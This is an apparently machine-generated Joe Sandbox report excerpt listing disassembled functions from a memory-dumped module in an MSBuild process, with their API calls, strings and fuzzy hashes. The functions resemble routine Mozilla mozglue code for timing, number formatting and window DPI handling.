Instruction Fuzzy Hash: 2E91B271A047818FD714CF39D09072AB7F1EBD9758F15C92ED55A87A81E7B0E844CB82

Function 6CC24EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CC24EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC24F2E
moz_xmalloc.MOZGLUE ref: 6CC24F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CC24F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC252E6
Sleep.KERNEL32(00000010), ref: 6CC25481
free.MOZGLUE(?), ref: 6CC25498

Strings

(, xrefs: 6CC25250

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: c28a9850b8a9c42d44a5ed9cc77b9845626f1d8f48d5293a54a332ceed536082
Instruction ID: 543feb1b111c7f09819b579a4ab02d183a9da9153113eb06eeec0a82e43a1382
Opcode Fuzzy Hash: c28a9850b8a9c42d44a5ed9cc77b9845626f1d8f48d5293a54a332ceed536082
Instruction Fuzzy Hash: 77F1C371A18B408FC716DF39C85062BB7F5AFD6284F05C72EF84AA7651EB31D8468B81

Function 6CBD7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E744), ref: 6CBD7885
LeaveCriticalSection.KERNEL32(6CC4E744), ref: 6CBD78A5
EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBD78AD
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBD78CD
EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBD78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CBD78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6CBD795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6CBD79BB
LeaveCriticalSection.KERNEL32(?), ref: 6CBD7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CBD7C82
LeaveCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBD7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6CBD7DAF

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 6dae03f1fc57d6345ecef7e11cf650fc6c6f408f7d0686ae7879577e9e241c61
Instruction ID: c2f9798a05bc782a7318ec542ec370eeb3986994f4335f3d772474b8fa5c2f62
Opcode Fuzzy Hash: 6dae03f1fc57d6345ecef7e11cf650fc6c6f408f7d0686ae7879577e9e241c61
Instruction Fuzzy Hash: C2026171A012598FDB54CF19D9847D9B7B5FF88318F2A82AAD809A7714E770BD90CF80

Function 6CC05190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC051DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC0529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6CC052FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC0536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC053F7

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6CC056C3
__Init_thread_footer.LIBCMT ref: 6CC056E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6CC056BE

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 53e163768fb71fc4fcf068d6c1457f0f6ce793d50328b9198372a4b77494d39a
Instruction ID: 4bc8bfe8b2c15489e18270c0817659e70a858fc159179b94dbfc52ead80d2470
Opcode Fuzzy Hash: 53e163768fb71fc4fcf068d6c1457f0f6ce793d50328b9198372a4b77494d39a
Instruction Fuzzy Hash: 77E19D75A14F458BC712DF398810267B7B9BF9B384F10DB0EE8AF2A951EB31E4468741

Function 6CC27030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CC27046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CC27060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC2707E

Part of subcall function 6CBD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CBD81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC27096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC2709C
LocalFree.KERNEL32(?), ref: 6CC270AA

Strings

### ERROR: %s: %s, xrefs: 6CC27087
(null), xrefs: 6CC2706A, 6CC27083

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 963fb10edd468545ea78e7a7a77fd6d94a1ed46ea0aac6e3343d8d58c2500d44
Instruction ID: 525effdd007900e6e28a37ad0fb53533ea0cf0fd6c30f65201f134813ef48fb4
Opcode Fuzzy Hash: 963fb10edd468545ea78e7a7a77fd6d94a1ed46ea0aac6e3343d8d58c2500d44
Instruction Fuzzy Hash: BB01DDB1A00104AFDB00BBA4DC5ADAF7BBCEF49259F018435FA05E3241E67179198BE1

Function 6CC12C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC12C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC12C61

Part of subcall function 6CBC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBC4E5A
Part of subcall function 6CBC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBC4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC12C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC12E2D

Part of subcall function 6CBD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CBD81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CC12E3B
expected a Time entry, xrefs: 6CC12E36
(root), xrefs: 6CC1354F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 903b425049e9ab1b5316992ad383107b0da754da089b398c17290af86ee6b040
Instruction ID: 22827840f26afe904703b61b6f1e92af40bc37432df94bd6f68f7ca94338d388
Opcode Fuzzy Hash: 903b425049e9ab1b5316992ad383107b0da754da089b398c17290af86ee6b040
Instruction Fuzzy Hash: C591D0B460C3808FD724DF26C49469FB7F1AF8A358F10891DE59A8BB50EB30D949CB42

Function 6CC29E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CC29F3D
__aulldiv.LIBCMT ref: 6CC29F77
__aullrem.LIBCMT ref: 6CC29F8C
__aulldiv.LIBCMT ref: 6CC2A023

Strings

NaN, xrefs: 6CC29EAB
-Infinity, xrefs: 6CC29E60, 6CC29E7B

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 67364545d89def2ec63fdbfb61e2df12b543e0d2195b5ebc8aabc68c9dde3e1a
Instruction ID: 946c494ac05274aacaaf7bce390908a199d2b54557727d6e354461e1b5d5511c
Opcode Fuzzy Hash: 67364545d89def2ec63fdbfb61e2df12b543e0d2195b5ebc8aabc68c9dde3e1a
Instruction Fuzzy Hash: 2DC18F31E00319CFDB14CFA9C8507AEB7B6FB84714F144529D416ABB80EB79A94ACB91

Function 6CC2B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6CC2B92D), ref: 6CBD9BC8
Part of subcall function 6CBD9B80: __Init_thread_footer.LIBCMT ref: 6CBD9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBD03D4,?), ref: 6CC2B955
NtQueryVirtualMemory.NTDLL ref: 6CC2B9A5
NtQueryVirtualMemory.NTDLL ref: 6CC2BA20
RtlNtStatusToDosError.NTDLL ref: 6CC2BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CC2BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CC2BA86

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: ec96851a49a6d4998d004d39f97101fbac3ec47088a7ccfb6c81392c8c788287
Instruction ID: 89bedb5c81016790e2747f85e8adc473eab25a5d7d1140780019ff5e12a34732
Opcode Fuzzy Hash: ec96851a49a6d4998d004d39f97101fbac3ec47088a7ccfb6c81392c8c788287
Instruction Fuzzy Hash: EC518071E01229DFDF14DFA8D890ADDB7B6EF88314F154129E906B7704EB34AD858B90

Function 6CC3545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC38A4B

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 78cad70dbaff45e4983037591adf7eb838b17a55725311f0ebadb0b358791834
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 83B1C772A0022A8FDB14CF68DC90BD9B7B2FF85314F1512AAC54DDB795E730A985CB90

Function 6CC3542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC3925C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 90e707457ee254e14b5bab787c173aab08d1a00cee6a8026f7076934baae02d0
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 11B1D672E0421A8FCB14CF58DC81AEDB7B2EF85314F14126AC549DBB85E730A989CB90

Function 6CC350C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC38E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC3925C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 18bf6090d9fbace91fc43d8b90ee6124f57a2c5794f5b747f6a2e69d1c1ec77e
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: E4A1C872A001268FCB14CF58DC90BDDB7B2AF85314F1502BAC94DDBB85E731A999CB90

Function 6CC177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC17A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC17A93

Part of subcall function 6CBE5C50: GetTickCount64.KERNEL32 ref: 6CBE5D40
Part of subcall function 6CBE5C50: EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC17AA1

Part of subcall function 6CBE5C50: __aulldiv.LIBCMT ref: 6CBE5DB4
Part of subcall function 6CBE5C50: LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CC17B31

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 325ec6cb3c7e395e008f4b9b9915e87ef9aca2e2148587108fb849abc91e919c
Instruction ID: 6c58d920da93005b981c639e9119685340273b41b5c890d34f7e8b05d058ff7f
Opcode Fuzzy Hash: 325ec6cb3c7e395e008f4b9b9915e87ef9aca2e2148587108fb849abc91e919c
Instruction Fuzzy Hash: 7AB1923560C3818BDB14CF26C45065FB7E2BFC5318F158A1CE99567B91EB70E90AEB82

Function 6CC2B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CC2B720
RtlNtStatusToDosError.NTDLL ref: 6CC2B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CBFFE3F,00000000,00000000,?,?,00000000,?,6CBFFE3F), ref: 6CC2B760

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 5a36048f9310118a7f186621497950175a01fade8622141fe32f8f193bf83ccf
Instruction ID: ca406d1a7fcb473552c0cd295626fed70b518619dd8f38706f9dfb8c5669a8f1
Opcode Fuzzy Hash: 5a36048f9310118a7f186621497950175a01fade8622141fe32f8f193bf83ccf
Instruction Fuzzy Hash: 2FF0C87094021CAEDF019AA1DC94BDFB7BC9B0471DF106229D516A15C0E7B895CCD670

Function 6CC2B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBD03D4,?), ref: 6CC2B955
NtQueryVirtualMemory.NTDLL ref: 6CC2B9A5

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: a3023be525dbb27a5077b325557ace7afefd3fd2d67670413d356b77feedd022
Instruction ID: 04773498a4c898455eb2aa2b2e5b4cf7aa5b0eab89dd300dffeadb8a8900165a
Opcode Fuzzy Hash: a3023be525dbb27a5077b325557ace7afefd3fd2d67670413d356b77feedd022
Instruction Fuzzy Hash: 4B41C871F0121DDFDF04DFA9D890ADEB7B5EF88314F14812AE416A7704EB35A8498B90

Function 6CC255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CBFE1A5), ref: 6CC25606
LoadLibraryW.KERNEL32(gdi32,?,6CBFE1A5), ref: 6CC2560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CC25633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CC2563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CC2566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CC2567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CC25696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CC256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CC256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CC256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CC256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CC25716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CC2572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CC25748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CC25761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CC2577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CC25793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CC257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CC257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CC257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CC257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CC257FF

Strings

RegisterClassW, xrefs: 6CC256AC
GetDpiForWindow, xrefs: 6CC25690
SetWindowLongPtrW, xrefs: 6CC257B7
DeleteObject, xrefs: 6CC257F9
SetWindowPos, xrefs: 6CC256F7
CreateWindowExW, xrefs: 6CC256C5
GetWindowDC, xrefs: 6CC25710
GetThreadDpiAwarenessContext, xrefs: 6CC2562D
LoadCursorW, xrefs: 6CC25774
AreDpiAwarenessContextsEqual, xrefs: 6CC25637
FillRect, xrefs: 6CC25729
user32, xrefs: 6CC25601
EnableNonClientDpiScaling, xrefs: 6CC25666
GetMonitorInfoW, xrefs: 6CC257A2
CreateSolidBrush, xrefs: 6CC257E4
GetSystemMetricsForDpi, xrefs: 6CC25677
LoadIconW, xrefs: 6CC2575B
ShowWindow, xrefs: 6CC256DE
MonitorFromWindow, xrefs: 6CC2578D
gdi32, xrefs: 6CC2560A
StretchDIBits, xrefs: 6CC257CC
ReleaseDC, xrefs: 6CC25742

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: e0193448f15313147f543e366a583aad9533c3e1738acb449978aaadfeaff11d
Instruction ID: f397b93221fea3df2be800e2f1f55d776faf0b01c2bd3ede1229205ea510105c
Opcode Fuzzy Hash: e0193448f15313147f543e366a583aad9533c3e1738acb449978aaadfeaff11d
Instruction Fuzzy Hash: 62510070A51713AFEB01AF3D8D54D2B3AF8EB46249750D429E955E2A56FBB8CC00CF60

Function 6CC0CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

